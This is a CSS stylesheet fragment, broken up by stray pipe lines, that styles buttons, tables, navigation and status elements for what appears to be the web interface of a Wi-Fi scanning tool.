||||||
height: 22px;
|
|
||||||
width: 120px;
|
|
||||||
border: 1px solid #A99D9D;
|
|
||||||
border-radius: 5px;
|
|
||||||
padding: 0.2em;
|
|
||||||
margin: 2px;
|
|
||||||
}
|
|
||||||
input[type="checkbox"] {
|
|
||||||
height: 15px;
|
|
||||||
width: auto;
|
|
||||||
}
|
|
||||||
.warn {
|
|
||||||
color: #c20000;
|
|
||||||
}
|
|
||||||
.warnBtn {
|
|
||||||
background: #c20000;
|
|
||||||
color: #fff;
|
|
||||||
}
|
|
||||||
.warnBtn:hover {
|
|
||||||
background: #f00;
|
|
||||||
color: #000;
|
|
||||||
}
|
|
||||||
.selectedBtn {
|
|
||||||
background: #fff;
|
|
||||||
color: #000;
|
|
||||||
}
|
|
||||||
.selectedBtn:hover {
|
|
||||||
background: #00B0FF;
|
|
||||||
color: #fff;
|
|
||||||
}
|
|
||||||
.right {
|
|
||||||
float: right;
|
|
||||||
}
|
|
||||||
.bold {
|
|
||||||
font-weight: bold;
|
|
||||||
}
|
|
||||||
.block {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
.marginNull {
|
|
||||||
margin: 0
|
|
||||||
}
|
|
||||||
.blue {
|
|
||||||
color: #00B0FF
|
|
||||||
}
|
|
||||||
.small {
|
|
||||||
font-size: 14px;
|
|
||||||
color: #727272
|
|
||||||
}
|
|
||||||
/* Navigation */
|
|
||||||
|
|
||||||
nav {
|
|
||||||
background: #222;
|
|
||||||
}
|
|
||||||
nav a {
|
|
||||||
background: #222;
|
|
||||||
color: #999;
|
|
||||||
padding: 0.5em;
|
|
||||||
display: inline-block;
|
|
||||||
text-decoration: none;
|
|
||||||
}
|
|
||||||
nav a:hover {
|
|
||||||
background: #000;
|
|
||||||
color: #f0f0f0;
|
|
||||||
}
|
|
||||||
/* Content */
|
|
||||||
|
|
||||||
#content {
|
|
||||||
padding: 0.34em;
|
|
||||||
}
|
|
||||||
#copyright{
|
|
||||||
margin-top: 15px;
|
|
||||||
padding-bottom: 15px;
|
|
||||||
font-size: 0.85em;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
table {
|
|
||||||
padding: 0;
|
|
||||||
width: 100%;
|
|
||||||
max-width: 960px;
|
|
||||||
margin: 0 auto;
|
|
||||||
border-spacing: 0;
|
|
||||||
background: #222222;
|
|
||||||
}
|
|
||||||
table th {
|
|
||||||
background: #222222;
|
|
||||||
color: #f0f0f0;
|
|
||||||
}
|
|
||||||
table td {
|
|
||||||
font-size: 14px;
|
|
||||||
background: #f0f0f0;
|
|
||||||
}
|
|
||||||
table th,
|
|
||||||
table td {
|
|
||||||
text-align: center;
|
|
||||||
padding: 0.1em 0;
|
|
||||||
}
|
|
||||||
table .selected td {
|
|
||||||
background: #11a4cc;
|
|
||||||
}
|
|
||||||
/* Specific */
|
|
||||||
|
|
||||||
#saved {
|
|
||||||
display: inline;
|
|
||||||
}
|
|
||||||
#clientScanStatus {
|
|
||||||
margin-left: 1em;
|
|
||||||
}
|
|
||||||
#clientScanStart {
|
|
||||||
margin-left: 30px;
|
|
||||||
}
|
|
||||||
#scanTime {
|
|
||||||
width: 60px;
|
|
||||||
}
|
|
||||||
#apScanStatus {
|
|
||||||
margin-left: 1em;
|
|
||||||
}
|
|
||||||
#rssiBar {
|
|
||||||
width: 100px;
|
|
||||||
height: 15px;
|
|
||||||
background: #fff;
|
|
||||||
}
|
|
||||||
#rssiBar > div {
|
|
||||||
width: 52px;
|
|
||||||
height: 15px;
|
|
||||||
background: #c20000;
|
|
||||||
}
|
|
||||||
#wpa_info {
|
|
||||||
padding-left: 0.34em;
|
|
||||||
}
|
|
||||||
#saved {
|
|
||||||
display: inline;
|
|
||||||
margin-left: 20px;
|
|
||||||
}
|
|
||||||